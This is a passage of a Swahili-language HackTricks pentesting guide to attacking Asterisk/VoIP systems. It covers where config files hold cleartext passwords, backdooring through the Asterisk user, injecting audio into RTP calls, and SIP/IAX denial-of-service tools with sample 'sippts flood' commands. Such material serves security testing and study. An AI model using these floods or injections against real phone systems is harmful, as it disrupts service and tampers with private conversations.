  • Elastix.conf -> Ina nywila kadhaa kwa maandishi wazi kama nywila ya mizizi ya mysql, nywila ya IMAPd, nywila ya msimamizi wa wavuti
  • Vijalizo vingi vitamilikiwa na mtumiaji wa Asterisk aliyeathiriwa (ikiwa haifanyi kazi kama root). Mtumiaji huyu anaweza kusoma faili za awali na pia kudhibiti usanidi, hivyo anaweza kufanya Asterisk kusoma programu zingine za mlango wa nyuma wakati zinatekelezwa.

Uingizaji wa RTP

Inawezekana kuingiza .wav katika mazungumzo kwa kutumia zana kama rtpinsertsound (sudo apt install rtpinsertsound) na rtpmixsound (sudo apt install rtpmixsound).

Au unaweza kutumia skripti kutoka http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ kuscan mazungumzo (rtpscan.pl), kutuma .wav kwa mazungumzo (rtpsend.pl) na kuingiza kelele katika mazungumzo (rtpflood.pl).

DoS

Kuna njia kadhaa za kujaribu kufikia DoS kwenye server za VoIP.

  • SIPPTS flood kutoka sippts**: Mafuriko ya SIPPTS hutoa ujumbe usio na kikomo kwa lengo.
  • sippts flood -i 10.10.0.10 -m invite -v
  • SIPPTS ping kutoka sippts**: SIPPTS ping hufanya ping ya SIP kuona muda wa majibu ya server.
  • sippts ping -i 10.10.0.10
  • IAXFlooder: DoS itumikayo na itifaki ya IAX inayotumiwa na Asterisk
  • inviteflood: Zana ya kufanya mafuriko ya ujumbe wa SIP/SDP INVITE kupitia UDP/IP.
  • rtpflood: Kutuma pakiti kadhaa za RTP zilizoundwa vizuri. Inahitajika kujua bandari za RTP zinazotumiwa (chunguza kwanza).
  • SIPp: Inaruhusu kuchambua na kuzalisha trafiki ya SIP. hivyo inaweza kutumika pia kwa DoS.
  • SIPsak: Kisu cha jeshi la Uswisi cha SIP. Inaweza kutumika pia kufanya mashambulizi ya SIP.
  • Fuzzers: protos-sip, voiper.

Madoa ya OS

Njia rahisi ya kufunga programu kama Asterisk ni kupakua usambazaji wa OS ambao tayari una programu hiyo imewekwa, kama vile: FreePBX, Elastix, Trixbox... Shida na hizo ni kwamba mara tu inapofanya kazi, wasimamizi wa mfumo wanaweza kutowasasisha tena na madoa yataanza kugunduliwa baadaye.

Marejeo

Jifunze kuhack AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: